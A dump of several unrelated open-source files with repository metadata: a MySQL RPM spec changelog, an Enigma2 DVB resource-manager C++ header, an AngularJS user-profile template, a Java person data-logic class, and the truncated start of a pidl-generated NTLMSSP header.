- Berkeley DB only in 'max'
* Mon Feb 13 2006 Joerg Bruehe <joerg@mysql.com>
- Use "-i" on "make test-force";
this is essential for later evaluation of this log file.
* Thu Feb 09 2006 Kent Boortz <kent@mysql.com>
- Pass '-static' to libtool, link static with our own libraries, dynamic
with system libraries. Link with the bundled zlib.
* Wed Feb 08 2006 Kristian Nielsen <knielsen@mysql.com>
- Modified RPM spec to match new 5.1 debug+max combined community packaging.
* Sun Dec 18 2005 Kent Boortz <kent@mysql.com>
- Added "client/mysqlslap"
* Mon Dec 12 2005 Rodrigo Novo <rodrigo@mysql.com>
- Added zlib to the list of (static) libraries installed
- Added check against libtool wierdness (WRT: sql/mysqld || sql/.libs/mysqld)
- Compile MySQL with bundled zlib
- Fixed %packager name to "MySQL Production Engineering Team"
* Mon Dec 05 2005 Joerg Bruehe <joerg@mysql.com>
- Avoid using the "bundled" zlib on "shared" builds:
As it is not installed (on the build system), this gives dependency
problems with "libtool" causing the build to fail.
(Change was done on Nov 11, but left uncommented.)
* Tue Nov 22 2005 Joerg Bruehe <joerg@mysql.com>
- Extend the file existence check for "init.d/mysql" on un-install
to also guard the call to "insserv"/"chkconfig".
* Thu Oct 27 2005 Lenz Grimmer <lenz@grimmer.com>
- added more man pages
* Wed Oct 19 2005 Kent Boortz <kent@mysql.com>
- Made yaSSL support an option (off by default)
* Wed Oct 19 2005 Kent Boortz <kent@mysql.com>
- Enabled yaSSL support
* Sat Oct 15 2005 Kent Boortz <kent@mysql.com>
- Give mode arguments the same way in all places
- Moved copy of mysqld.a to "standard" build, but
disabled it as we don't do embedded yet in 5.0
* Fri Oct 14 2005 Kent Boortz <kent@mysql.com>
- For 5.x, always compile with --with-big-tables
- Copy the config.log file to location outside
the build tree
* Fri Oct 14 2005 Kent Boortz <kent@mysql.com>
- Removed unneeded/obsolete configure options
- Added archive engine to standard server
- Removed the embedded server from experimental server
- Changed suffix "-Max" => "-max"
- Changed comment string "Max" => "Experimental"
* Thu Oct 13 2005 Lenz Grimmer <lenz@mysql.com>
- added a usermod call to assign a potential existing mysql user to the
correct user group (BUG#12823)
- Save the perror binary built during Max build so it supports the NDB
error codes (BUG#13740)
- added a separate macro "mysqld_group" to be able to define the
user group of the mysql user seperately, if desired.
* Thu Sep 29 2005 Lenz Grimmer <lenz@mysql.com>
- fixed the removing of the RPM_BUILD_ROOT in the %clean section (the
$RBR variable did not get expanded, thus leaving old build roots behind)
* Thu Aug 04 2005 Lenz Grimmer <lenz@mysql.com>
- Fixed the creation of the mysql user group account in the postinstall
section (BUG 12348)
- Fixed enabling the Archive storage engine in the Max binary
* Tue Aug 02 2005 Lenz Grimmer <lenz@mysql.com>
- Fixed the Requires: tag for the server RPM (BUG 12233)
* Fri Jul 15 2005 Lenz Grimmer <lenz@mysql.com>
- create a "mysql" user group and assign the mysql user account to that group
in the server postinstall section. (BUG 10984)
* Tue Jun 14 2005 Lenz Grimmer <lenz@mysql.com>
- Do not build statically on i386 by default, only when adding either "--with
static" or "--define '_with_static 1'" to the RPM build options. Static
linking really only makes sense when linking against the specially patched
glibc 2.2.5.
* Mon Jun 06 2005 Lenz Grimmer <lenz@mysql.com>
- added mysql_client_test to the "bench" subpackage (BUG 10676)
- added the libndbclient static and shared libraries (BUG 10676)
* Wed Jun 01 2005 Lenz Grimmer <lenz@mysql.com>
- use "mysqldatadir" variable instead of hard-coding the path multiple times
- use the "mysqld_user" variable on all occasions a user name is referenced
- removed (incomplete) Brazilian translations
- removed redundant release tags from the subpackage descriptions
* Wed May 25 2005 Joerg Bruehe <joerg@mysql.com>
- Added a "make clean" between separate calls to "BuildMySQL".
* Thu May 12 2005 Guilhem Bichot <guilhem@mysql.com>
- Removed the mysql_tableinfo script made obsolete by the information schema
* Wed Apr 20 2005 Lenz Grimmer <lenz@mysql.com>
- Enabled the "blackhole" storage engine for the Max RPM
* Wed Apr 13 2005 Lenz Grimmer <lenz@mysql.com>
- removed the MySQL manual files (html/ps/texi) - they have been removed
from the MySQL sources and are now available seperately.
* Mon Apr 4 2005 Petr Chardin <petr@mysql.com>
- old mysqlmanager, mysqlmanagerc and mysqlmanager-pwger renamed into
mysqltestmanager, mysqltestmanager and mysqltestmanager-pwgen respectively
* Fri Mar 18 2005 Lenz Grimmer <lenz@mysql.com>
- Disabled RAID in the Max binaries once and for all (it has finally been
removed from the source tree)
* Sun Feb 20 2005 Petr Chardin <petr@mysql.com>
- Install MySQL Instance Manager together with mysqld, touch mysqlmanager
password file
* Mon Feb 14 2005 Lenz Grimmer <lenz@mysql.com>
- Fixed the compilation comments and moved them into the separate build sections
for Max and Standard
* Mon Feb 7 2005 Tomas Ulin <tomas@mysql.com>
- enabled the "Ndbcluster" storage engine for the max binary
- added extra make install in ndb subdir after Max build to get ndb binaries
- added packages for ndbcluster storage engine
* Fri Jan 14 2005 Lenz Grimmer <lenz@mysql.com>
- replaced obsoleted "BuildPrereq" with "BuildRequires" instead
* Thu Jan 13 2005 Lenz Grimmer <lenz@mysql.com>
- enabled the "Federated" storage engine for the max binary
* Tue Jan 04 2005 Petr Chardin <petr@mysql.com>
- ISAM and merge storage engines were purged. As well as appropriate
tools and manpages (isamchk and isamlog)
* Thu Dec 31 2004 Lenz Grimmer <lenz@mysql.com>
- enabled the "Archive" storage engine for the max binary
- enabled the "CSV" storage engine for the max binary
- enabled the "Example" storage engine for the max binary
* Thu Aug 26 2004 Lenz Grimmer <lenz@mysql.com>
- MySQL-Max now requires MySQL-server instead of MySQL (BUG 3860)
* Fri Aug 20 2004 Lenz Grimmer <lenz@mysql.com>
- do not link statically on IA64/AMD64 as these systems do not have
a patched glibc installed
* Tue Aug 10 2004 Lenz Grimmer <lenz@mysql.com>
- Added libmygcc.a to the devel subpackage (required to link applications
against the the embedded server libmysqld.a) (BUG 4921)
* Mon Aug 09 2004 Lenz Grimmer <lenz@mysql.com>
- Added EXCEPTIONS-CLIENT to the "devel" package
* Thu Jul 29 2004 Lenz Grimmer <lenz@mysql.com>
- disabled OpenSSL in the Max binaries again (the RPM packages were the
only exception to this anyway) (BUG 1043)
* Wed Jun 30 2004 Lenz Grimmer <lenz@mysql.com>
- fixed server postinstall (mysql_install_db was called with the wrong
parameter)
* Thu Jun 24 2004 Lenz Grimmer <lenz@mysql.com>
- added mysql_tzinfo_to_sql to the server subpackage
- run "make clean" instead of "make distclean"
* Mon Apr 05 2004 Lenz Grimmer <lenz@mysql.com>
- added ncurses-devel to the build prerequisites (BUG 3377)
* Thu Feb 12 2004 Lenz Grimmer <lenz@mysql.com>
- when using gcc, _always_ use CXX=gcc
- replaced Copyright with License field (Copyright is obsolete)
* Tue Feb 03 2004 Lenz Grimmer <lenz@mysql.com>
- added myisam_ftdump to the Server package
* Tue Jan 13 2004 Lenz Grimmer <lenz@mysql.com>
- link the mysql client against libreadline instead of libedit (BUG 2289)
* Mon Dec 22 2003 Lenz Grimmer <lenz@mysql.com>
- marked /etc/logrotate.d/mysql as a config file (BUG 2156)
* Fri Dec 13 2003 Lenz Grimmer <lenz@mysql.com>
- fixed file permissions (BUG 1672)
* Thu Dec 11 2003 Lenz Grimmer <lenz@mysql.com>
- made testing for gcc3 a bit more robust
* Fri Dec 05 2003 Lenz Grimmer <lenz@mysql.com>
- added missing file mysql_create_system_tables to the server subpackage
* Fri Nov 21 2003 Lenz Grimmer <lenz@mysql.com>
- removed dependency on MySQL-client from the MySQL-devel subpackage
as it is not really required. (BUG 1610)
* Fri Aug 29 2003 Lenz Grimmer <lenz@mysql.com>
- Fixed BUG 1162 (removed macro names from the changelog)
- Really fixed BUG 998 (disable the checking for installed but
unpackaged files)
* Tue Aug 05 2003 Lenz Grimmer <lenz@mysql.com>
- Fixed BUG 959 (libmysqld not being compiled properly)
- Fixed BUG 998 (RPM build errors): added missing files to the
distribution (mysql_fix_extensions, mysql_tableinfo, mysqldumpslow,
mysql_fix_privilege_tables.1), removed "-n" from install section.
* Wed Jul 09 2003 Lenz Grimmer <lenz@mysql.com>
- removed the GIF Icon (file was not included in the sources anyway)
- removed unused variable shared_lib_version
- do not run automake before building the standard binary
(should not be necessary)
- add server suffix '-standard' to standard binary (to be in line
with the binary tarball distributions)
- Use more RPM macros (_exec_prefix, _sbindir, _libdir, _sysconfdir,
_datadir, _includedir) throughout the spec file.
- allow overriding CC and CXX (required when building with other compilers)
* Fri May 16 2003 Lenz Grimmer <lenz@mysql.com>
- re-enabled RAID again
* Wed Apr 30 2003 Lenz Grimmer <lenz@mysql.com>
- disabled MyISAM RAID (--with-raid) - it throws an assertion which
needs to be investigated first.
* Mon Mar 10 2003 Lenz Grimmer <lenz@mysql.com>
- added missing file mysql_secure_installation to server subpackage
(BUG 141)
* Tue Feb 11 2003 Lenz Grimmer <lenz@mysql.com>
- re-added missing pre- and post(un)install scripts to server subpackage
- added config file /etc/my.cnf to the file list (just for completeness)
- make sure to create the datadir with 755 permissions
* Mon Jan 27 2003 Lenz Grimmer <lenz@mysql.com>
- removed unused CC and CXX variables
- CFLAGS and CXXFLAGS should honor RPM_OPT_FLAGS
* Fri Jan 24 2003 Lenz Grimmer <lenz@mysql.com>
- renamed package "MySQL" to "MySQL-server"
- fixed Copyright tag
- added mysql_waitpid to client subpackage (required for mysql-test-run)
* Wed Nov 27 2002 Lenz Grimmer <lenz@mysql.com>
- moved init script from /etc/rc.d/init.d to /etc/init.d (the majority of
Linux distributions now support this scheme as proposed by the LSB either
directly or via a compatibility symlink)
- Use new "restart" init script action instead of starting and stopping
separately
- Be more flexible in activating the automatic bootup - use insserv (on
older SuSE versions) or chkconfig (Red Hat, newer SuSE versions and
others) to create the respective symlinks
* Wed Sep 25 2002 Lenz Grimmer <lenz@mysql.com>
- MySQL-Max now requires MySQL >= 4.0 to avoid version mismatches
(mixing 3.23 and 4.0 packages)
* Fri Aug 09 2002 Lenz Grimmer <lenz@mysql.com>
- Turn off OpenSSL in MySQL-Max for now until it works properly again
- enable RAID for the Max binary instead
- added compatibility link: safe_mysqld -> mysqld_safe to ease the
transition from 3.23
* Thu Jul 18 2002 Lenz Grimmer <lenz@mysql.com>
- Reworked the build steps a little bit: the Max binary is supposed
to include OpenSSL, which cannot be linked statically, thus trying
to statically link against a special glibc is futile anyway
- because of this, it is not required to make yet another build run
just to compile the shared libs (saves a lot of time)
- updated package description of the Max subpackage
- clean up the BuildRoot directory afterwards
* Mon Jul 15 2002 Lenz Grimmer <lenz@mysql.com>
- Updated Packager information
- Fixed the build options: the regular package is supposed to
include InnoDB and linked statically, while the Max package
should include BDB and SSL support
* Fri May 03 2002 Lenz Grimmer <lenz@mysql.com>
- Use more RPM macros (e.g. infodir, mandir) to make the spec
file more portable
- reorganized the installation of documentation files: let RPM
take care of this
- reorganized the file list: actually install man pages along
with the binaries of the respective subpackage
- do not include libmysqld.a in the devel subpackage as well, if we
have a special "embedded" subpackage
- reworked the package descriptions
* Mon Oct 8 2001 Monty
- Added embedded server as a separate RPM
* Fri Apr 13 2001 Monty
- Added mysqld-max to the distribution
* Tue Jan 2 2001 Monty
- Added mysql-test to the bench package
* Fri Aug 18 2000 Tim Smith <tim@mysql.com>
- Added separate libmysql_r directory; now both a threaded
and non-threaded library is shipped.
* Wed Sep 28 1999 David Axmark <davida@mysql.com>
- Added the support-files/my-example.cnf to the docs directory.
- Removed devel dependency on base since it is about client
development.
* Wed Sep 8 1999 David Axmark <davida@mysql.com>
- Cleaned up some for 3.23.
* Thu Jul 1 1999 David Axmark <davida@mysql.com>
- Added support for shared libraries in a separate sub
package. Original fix by David Fox (dsfox@cogsci.ucsd.edu)
- The --enable-assembler switch is now automatically disables on
platforms there assembler code is unavailable. This should allow
building this RPM on non i386 systems.
* Mon Feb 22 1999 David Axmark <david@detron.se>
- Removed unportable cc switches from the spec file. The defaults can
now be overridden with environment variables. This feature is used
to compile the official RPM with optimal (but compiler version
specific) switches.
- Removed the repetitive description parts for the sub rpms. Maybe add
again if RPM gets a multiline macro capability.
- Added support for a pt_BR translation. Translation contributed by
Jorge Godoy <jorge@bestway.com.br>.
* Wed Nov 4 1998 David Axmark <david@detron.se>
- A lot of changes in all the rpm and install scripts. This may even
be a working RPM :-)
* Sun Aug 16 1998 David Axmark <david@detron.se>
- A developers changelog for MySQL is available in the source RPM. And
there is a history of major user visible changed in the Reference
Manual. Only RPM specific changes will be documented here.
|
mmplayer/MySQL
|
support-files/mysql.spec.sh
|
Shell
|
gpl-2.0
| 82,091
|
#ifndef __dvb_dvb_h
#define __dvb_dvb_h
#ifndef SWIG
#include <lib/base/ebase.h>
#include <lib/base/filepush.h>
#include <lib/base/elock.h>
#include <lib/dvb/idvb.h>
#include <lib/dvb/demux.h>
#include <lib/dvb/frontend.h>
#include <lib/dvb/tstools.h>
#include <lib/dvb/esection.h>
#include <connection.h>
#include <lib/dvb/fbc.h>
#include <dvbsi++/service_description_section.h>
class eDVBChannel;
/* we do NOT handle resource conflicts here. instead, the allocateChannel
fails, and the application has to see why the channel is allocated
(and how to deallocate it). */
class iDVBAdapter;
class eDVBRegisteredFrontend: public iObject, public sigc::trackable
{
DECLARE_REF(eDVBRegisteredFrontend);
ePtr<eTimer> disable;
void closeFrontend()
{
if (!m_inuse && m_frontend->closeFrontend()) // frontend busy
disable->start(60000, true); // retry close in 60secs
}
public:
sigc::signal0<void> stateChanged;
eDVBRegisteredFrontend(eDVBFrontend *fe, iDVBAdapter *adap)
:disable(eTimer::create(eApp)), m_adapter(adap), m_frontend(fe), m_inuse(0)
{
CONNECT(disable->timeout, eDVBRegisteredFrontend::closeFrontend);
}
void dec_use()
{
if (!--m_inuse)
{
/* emit */ stateChanged();
disable->start(3000, true);
}
}
void inc_use()
{
if (++m_inuse == 1)
{
m_frontend->openFrontend();
/* emit */ stateChanged();
}
}
iDVBAdapter *m_adapter;
ePtr<eDVBFrontend> m_frontend;
int m_inuse;
};
struct eDVBRegisteredDemux
{
DECLARE_REF(eDVBRegisteredDemux);
public:
iDVBAdapter *m_adapter;
ePtr<eDVBDemux> m_demux;
int m_inuse;
eDVBRegisteredDemux(eDVBDemux *demux, iDVBAdapter *adap): m_adapter(adap), m_demux(demux), m_inuse(0) { }
};
class eDVBAllocatedFrontend
{
DECLARE_REF(eDVBAllocatedFrontend);
public:
eDVBAllocatedFrontend(eDVBRegisteredFrontend *fe);
~eDVBAllocatedFrontend();
eDVBFrontend &get() { return *m_fe->m_frontend; }
operator eDVBRegisteredFrontend*() { return m_fe; }
operator eDVBFrontend*() { return m_fe->m_frontend; }
private:
eDVBRegisteredFrontend *m_fe;
};
class eDVBAllocatedDemux
{
DECLARE_REF(eDVBAllocatedDemux);
public:
eDVBAllocatedDemux(eDVBRegisteredDemux *demux);
~eDVBAllocatedDemux();
eDVBDemux &get() { return *m_demux->m_demux; }
operator eDVBRegisteredDemux*() { return m_demux; }
operator eDVBDemux*() { return m_demux->m_demux; }
private:
eDVBRegisteredDemux *m_demux;
};
class iDVBAdapter: public iObject
{
public:
virtual int getNumDemux() = 0;
virtual RESULT getDemux(ePtr<eDVBDemux> &demux, int nr) = 0;
virtual int getNumFrontends() = 0;
virtual RESULT getFrontend(ePtr<eDVBFrontend> &fe, int nr, bool simulate=false) = 0;
};
class eDVBAdapterLinux: public iDVBAdapter
{
DECLARE_REF(eDVBAdapterLinux);
public:
eDVBAdapterLinux(int nr);
void scanDevices();
int getNumDemux();
RESULT getDemux(ePtr<eDVBDemux> &demux, int nr);
int getNumFrontends();
RESULT getFrontend(ePtr<eDVBFrontend> &fe, int nr, bool simulate=false);
static int exist(int nr);
static bool isusb(int nr);
private:
int m_nr;
eSmartPtrList<eDVBFrontend> m_frontend, m_simulate_frontend;
eSmartPtrList<eDVBDemux> m_demux;
protected:
static std::map<std::string, std::string> mappedFrontendName;
};
class eDVBUsbAdapter: public eDVBAdapterLinux
{
DECLARE_REF(eDVBUsbAdapter);
private:
int vtunerFd;
int demuxFd;
int pipeFd[2];
std::string usbFrontendName;
std::string virtualFrontendName;
bool running;
unsigned short int pidList[30];
unsigned char buffer[(188 / 4) * 4096];
pthread_t pumpThread;
static void *threadproc(void *arg);
void *vtunerPump();
public:
eDVBUsbAdapter(int nr);
~eDVBUsbAdapter();
};
#endif // SWIG
SWIG_IGNORE(eDVBResourceManager);
class eDVBResourceManager: public iObject, public sigc::trackable
{
DECLARE_REF(eDVBResourceManager);
int avail, busy;
enum { DM7025, DM800, DM500HD, DM800SE, DM8000, DM7020HD, DM7080, DM820, DM520, DM525, DM900, GIGABLUE, DM500HDV2, DM800SEV2, WETEKPLAY, WETEKPLAY2};
int m_boxtype;
eSmartPtrList<iDVBAdapter> m_adapter;
eSmartPtrList<eDVBRegisteredDemux> m_demux;
eSmartPtrList<eDVBRegisteredFrontend> m_frontend, m_simulate_frontend;
void addAdapter(iDVBAdapter *adapter, bool front = false);
public:
struct active_channel
{
eDVBChannelID m_channel_id;
/* we don't hold a reference here. */
eDVBChannel *m_channel;
active_channel(const eDVBChannelID &chid, eDVBChannel *ch) : m_channel_id(chid), m_channel(ch) { }
};
private:
std::list<active_channel> m_active_channels, m_active_simulate_channels;
ePtr<iDVBChannelList> m_list;
ePtr<iDVBSatelliteEquipmentControl> m_sec;
static eDVBResourceManager *instance;
friend class eDVBChannel;
friend class eFBCTunerManager;
RESULT addChannel(const eDVBChannelID &chid, eDVBChannel *ch);
RESULT removeChannel(eDVBChannel *ch);
sigc::signal1<void,eDVBChannel*> m_channelAdded;
eUsePtr<iDVBChannel> m_cached_channel;
sigc::connection m_cached_channel_state_changed_conn;
ePtr<eTimer> m_releaseCachedChannelTimer;
void DVBChannelStateChanged(iDVBChannel*);
void feStateChanged();
#ifndef SWIG
public:
#endif
void releaseCachedChannel();
eDVBResourceManager();
virtual ~eDVBResourceManager();
RESULT setChannelList(iDVBChannelList *list);
RESULT getChannelList(ePtr<iDVBChannelList> &list);
RESULT getActiveChannels(std::list<active_channel> &list);
enum {
/* errNoFrontend = -1 replaced by more spcific messages */
errNoDemux = -2,
errChidNotFound = -3,
errNoChannelList = -4,
errChannelNotInList = -5,
errAllSourcesBusy = -6,
errNoSourceFound = -7,
};
RESULT connectChannelAdded(const sigc::slot1<void,eDVBChannel*> &channelAdded, ePtr<eConnection> &connection);
int canAllocateChannel(const eDVBChannelID &channelid, const eDVBChannelID &ignore, int &system, bool simulate=false);
/* allocate channel... */
RESULT allocateChannel(const eDVBChannelID &channelid, eUsePtr<iDVBChannel> &channel, bool simulate=false);
RESULT allocatePVRChannel(const eDVBChannelID &channelid, eUsePtr<iDVBPVRChannel> &channel);
static RESULT getInstance(ePtr<eDVBResourceManager> &);
/* allocates a frontend able to tune to frontend paramters 'feperm'.
the frontend must be tuned lateron. there is no guarante
that tuning will succeed - it just means that if this frontend
can't tune, no other frontend could do it.
there might be a priority given to certain frontend/chid
combinations. this will be evaluated here. */
RESULT allocateFrontend(ePtr<eDVBAllocatedFrontend> &fe, ePtr<iDVBFrontendParameters> &feparm, bool simulate=false);
RESULT allocateFrontendByIndex(ePtr<eDVBAllocatedFrontend> &fe, int slot_index);
/* allocate a demux able to filter on the selected frontend. */
RESULT allocateDemux(eDVBRegisteredFrontend *fe, ePtr<eDVBAllocatedDemux> &demux, int &cap);
#ifdef SWIG
public:
#endif
int canAllocateFrontend(ePtr<iDVBFrontendParameters> &feparm, bool simulate=false);
bool canMeasureFrontendInputPower();
PSignal1<void,int> frontendUseMaskChanged;
SWIG_VOID(RESULT) allocateRawChannel(eUsePtr<iDVBChannel> &SWIG_OUTPUT, int slot_index);
PyObject *setFrontendSlotInformations(SWIG_PYOBJECT(ePyObject) list);
bool frontendIsCompatible(int index, const char *type);
bool frontendIsMultistream(int index);
std::string getFrontendCapabilities(int index);
void setFrontendType(int index, const char *type);
};
SWIG_TEMPLATE_TYPEDEF(ePtr<eDVBResourceManager>, eDVBResourceManager);
SWIG_EXTEND(ePtr<eDVBResourceManager>,
static ePtr<eDVBResourceManager> getInstance()
{
extern ePtr<eDVBResourceManager> NewResourceManagerPtr(void);
return NewResourceManagerPtr();
}
);
#ifndef SWIG
class eDVBChannelFilePush;
/* iDVBPVRChannel includes iDVBChannel. don't panic. */
class eDVBChannel: public iDVBPVRChannel, public iFilePushScatterGather, public sigc::trackable
{
DECLARE_REF(eDVBChannel);
friend class eDVBResourceManager;
public:
eDVBChannel(eDVBResourceManager *mgr, eDVBAllocatedFrontend *frontend);
virtual ~eDVBChannel();
/* only for managed channels - effectively tunes to the channelid. should not be used... */
/* cannot be used for PVR channels. */
RESULT setChannel(const eDVBChannelID &id, ePtr<iDVBFrontendParameters> &feparam);
eDVBChannelID getChannelID() { return m_channel_id; }
#if defined(__sh__) //see filepush.h
int getSkipMode() { return m_skipmode_m; }
#endif
RESULT connectStateChange(const sigc::slot1<void,iDVBChannel*> &stateChange, ePtr<eConnection> &connection);
RESULT connectEvent(const sigc::slot2<void,iDVBChannel*,int> &eventChange, ePtr<eConnection> &connection);
RESULT getState(int &state);
RESULT setCIRouting(const eDVBCIRouting &routing);
RESULT getDemux(ePtr<iDVBDemux> &demux, int cap);
RESULT getFrontend(ePtr<iDVBFrontend> &frontend);
RESULT getCurrentFrontendParameters(ePtr<iDVBFrontendParameters> ¶m);
/* iDVBPVRChannel */
RESULT playFile(const char *file);
RESULT playSource(ePtr<iTsSource>& source, const char *priv=NULL);
void stop();
void setCueSheet(eCueSheet *cuesheet);
void setOfflineDecodeMode(int parityswitchdelay);
RESULT getLength(pts_t &len);
RESULT getCurrentPosition(iDVBDemux *decoding_demux, pts_t &pos, int mode);
int getUseCount() { return m_use_count; }
RESULT requestTsidOnid();
int reserveDemux();
private:
ePtr<eDVBAllocatedFrontend> m_frontend;
ePtr<eDVBAllocatedDemux> m_demux, m_decoder_demux;
ePtr<iDVBFrontendParameters> m_current_frontend_parameters;
eDVBChannelID m_channel_id;
sigc::signal1<void,iDVBChannel*> m_stateChanged;
sigc::signal2<void,iDVBChannel*,int> m_event;
int m_state;
ePtr<iTsSource> m_source;
/* for channel list */
ePtr<eDVBResourceManager> m_mgr;
void frontendStateChanged(iDVBFrontend*fe);
ePtr<eConnection> m_conn_frontendStateChanged;
/* for PVR playback */
eDVBChannelFilePush *m_pvr_thread;
void pvrEvent(int event);
int m_pvr_fd_dst;
eSingleLock m_tstools_lock;
eDVBTSTools m_tstools;
ePtr<eCueSheet> m_cue;
void cueSheetEvent(int event);
ePtr<eConnection> m_conn_cueSheetEvent;
int m_skipmode_m, m_skipmode_n, m_skipmode_frames, m_skipmode_frames_remainder;
std::list<std::pair<off_t, off_t> > m_source_span;
void getNextSourceSpan(off_t current_offset, size_t bytes_read, off_t &start, size_t &size);
void flushPVR(iDVBDemux *decoding_demux=0);
eSingleLock m_cuesheet_lock;
friend class eUsePtr<eDVBChannel>;
/* use count */
oRefCount m_use_count;
void AddUse();
void ReleaseUse();
/* for tsid/onid read */
ePtr<iDVBDemux> m_tsid_onid_demux;
ePtr<eTable<ServiceDescriptionSection> > m_SDT;
void SDTready(int err);
};
#endif // SWIG
#endif
|
schleichdi2/OpenNfr_E2_Gui-6.0
|
lib/dvb/dvb.h
|
C
|
gpl-2.0
| 10,601
|
<div class="container-fluid navigation">
<div class="navigation-left">
<a href="/#/user">
<img src="assets/img/logoWhite.png" alt="Plunner"/>
</a>
</div>
<div class="navigation-right">
<ul class="list-inline list-unstyled">
<li class="user_section">
<a href="/#/user/profile" profile type="user">
<img class="user_icon" src="assets/img/user_white.png" alt="Your profile"/>
<span>{{profileName}}</span>
</a>
</li>
<li>
<img src="assets/img/sign_out.png" alt="Sign out" logout redirect="/"/>
<button type="button" class="navbar_button" logout redirect="/">SIGN OUT</button>
</li>
</ul>
</div>
</div>
<div class="container-fluid upC">
<div class="section_heading row">
<h1 class="text-center font_light">Your profile</h1>
</div>
<div class="row">
<div class="col-md-8 col-md-push-2 col-sm-10 col-sm-push-1 col-xs-10 col-xs-push-1 media_adapt">
<div class=" section_action_bar" ng-class="{span : upC.editMode.flag}">
<a href="/#/user" class="link_top"><i class="fa fa-chevron-left"></i> Back to dashboard</a>
<button class="main_button" ng-click="upC.update.submit()" ng-show="upC.editMode.flag">Save changes</button>
<button class="secondary_button" ng-show="upC.editMode.flag" ng-click="upC.editMode.exit()">Abort</button>
<button ng-show="!upC.editMode.flag" class="main_button" ng-click="upC.editMode.enter()"><i class="fa fa-wrench"></i> Edit profile
</button>
</div>
</div>
</div>
<br/>
<br/>
<div class="row">
<div class="col-md-8 col-md-push-2 col-sm-10 col-sm-push-1 col-xs-10 col-xs-push-1 media_adapt">
<p class="error_tile" ng-repeat="error in upC.update.errors"><i class="fa fa-warning"></i> {{error}}</p>
<div class="row">
<div class="col-md-5">
<form name="upC_profile_form">
<table class="table">
<thead>
<th></th>
<th></th>
</thead>
<tbody>
<tr>
<td class="font_bold">Name:</td>
<td>
<input placeholder="Name" name="name" type="text" ng-model="upC.dataCopy.name" ng-readonly="!upC.editMode.flag"
ng-class="{disabled : !upC.editMode.flag, error_bordering: upC.update.invalidFields.nameReq }" required>
<p class="error_msg" ng-show="upC.update.invalidFields.nameReq">Insert a name</p>
</td>
</tr>
<tr>
<td class="font_bold">Email:</td>
<td>
<p>{{upC.data.email}}</p>
</td>
</tr>
<tr class="password_row">
<td class="font_bold">Password:</td>
<td>
<input placeholder="your password" name="password" ng-minlength="6" type="password" ng-model="upC.dataCopy.password" ng-readonly="!upC.editMode.flag"
ng-class="{disabled : !upC.editMode.flag, error_bordering: upC.update.invalidFields.passwordLength }">
<p class="error_msg" ng-show="upC.update.invalidFields.passwordLength">Insert a password at least 6 characters long</p>
</td>
</tr>
<tr class="password_row" ng-show="upC.editMode.flag">
<td class="font_bold">Confirm password</td>
<td>
<input name="password_confirmation" type="password" ng-model="upC.dataCopy.password_confirmation"
ng-class="{error_bordering : upC.update.invalidFields.passwordMatch}" >
<p class="error_msg" ng-show="upC.update.invalidFields.passwordMatch">The passwords don't match</p>
</td>
</tr>
</tbody>
</table>
</form>
</div>
</div>
</div>
</div>
</div>
<div id="authorizationPopup" class="modal" role="dialog" tabindex="-1">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
</div>
<div class="modal-body text-center">
<img src="assets/img/484.GIF" alt=""/>
<h2> Saving changes</h2>
</div>
<br/>
</div>
</div>
</div>
|
dsd-meetme/frontend
|
app/components/user/profile/upTemplate.html
|
HTML
|
gpl-2.0
| 5,246
|
package data.logic;
import java.util.ArrayList;
import java.util.List;
import data.DatenLogik;
import data.Person;
import database.DBPerson;
import enums.DatabaseErrors;
import enums.ErrorMessage;
import enums.ErrorsPersonLogik;
public class PersonLogik implements DatenLogik<Person> {
private Person object = null;
private List<ErrorMessage> errors = new ArrayList<ErrorMessage>();
public boolean createNew(String nachname, String vorname, String kuenstlername) {
if (nachname == null) {
errors.add(ErrorsPersonLogik.KeinNachname);
}
if (vorname == null) {
errors.add(ErrorsPersonLogik.KeinVorname);
}
if (kuenstlername == null || kuenstlername.trim().length() == 0) {
errors.add(ErrorsPersonLogik.KeinKuenstlername);
}
if (errors.size() > 0) {
return false;
}
object = new Person();
object.setKuenstlername(kuenstlername);
object.setNachname(nachname);
object.setVorname(vorname);
return true;
}
public boolean editLoaded(String nachname, String vorname, String kuenstlername) {
if (nachname == null) {
errors.add(ErrorsPersonLogik.KeinNachname);
}
if (vorname == null) {
errors.add(ErrorsPersonLogik.KeinVorname);
}
if (kuenstlername == null || kuenstlername.trim().length() == 0) {
errors.add(ErrorsPersonLogik.KeinKuenstlername);
}
if (errors.size() > 0) {
return false;
}
object.setKuenstlername(kuenstlername);
object.setNachname(nachname);
object.setVorname(vorname);
return true;
}
@Override
public boolean delete() {
try {
DBPerson dbLogic = getDBLogic();
if (!dbLogic.delete(object)) {
errors.add(DatabaseErrors.UnableToDeletePerson);
return false;
} else {
return true;
}
} catch (ClassNotFoundException e) {
errors.add(DatabaseErrors.NoDBAvailable);
}
return false;
}
@Override
public boolean write() {
try {
DBPerson dbLogic = getDBLogic();
if (!dbLogic.writePerson(object)) {
errors.add(DatabaseErrors.UnableToWrite);
return false;
} else {
return true;
}
} catch (ClassNotFoundException e) {
errors.add(DatabaseErrors.NoDBAvailable);
}
return false;
}
@Override
public boolean loadObject(int id) {
try {
DBPerson dbLogic = getDBLogic();
object = dbLogic.getPerson(id);
if (object == null) {
errors.add(DatabaseErrors.UnableToRead);
return false;
} else {
return true;
}
} catch (ClassNotFoundException e) {
errors.add(DatabaseErrors.NoDBAvailable);
}
return false;
}
@Override
public Person getObject() {
return object;
}
@Override
public List<Person> getAll() {
try {
DBPerson dbLogic = getDBLogic();
List<Person> ret = dbLogic.getAll();
if (ret == null) {
errors.add(DatabaseErrors.UnableToRead);
return null;
} else {
return ret;
}
} catch (ClassNotFoundException e) {
errors.add(DatabaseErrors.NoDBAvailable);
}
return null;
}
@Override
public List<ErrorMessage> getErrors() {
return errors;
}
private DBPerson getDBLogic() throws ClassNotFoundException {
return new DBPerson();
}
@Override
public void reset() {
this.object = null;
this.errors = new ArrayList<ErrorMessage>();
}
}
|
ColdanR/medienverwaltung
|
src/data/logic/PersonLogik.java
|
Java
|
gpl-2.0
| 3,180
|
/* header auto-generated by pidl */
#ifndef _PIDL_HEADER_ntlmssp
#define _PIDL_HEADER_ntlmssp
#include <stdint.h>
#include "libcli/util/ntstatus.h"
#ifndef _HEADER_ntlmssp
#define _HEADER_ntlmssp
#define NTLMSSP_NEGOTIATE_NTLM2 ( NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY )
#define NTLMSSP_SIGN_VERSION ( 0x01 )
#define NTLMSSP_SIG_SIZE ( 16 )
enum ntlmssp_MessageType
#ifndef USE_UINT_ENUMS
{
NtLmNegotiate=(int)(0x00000001),
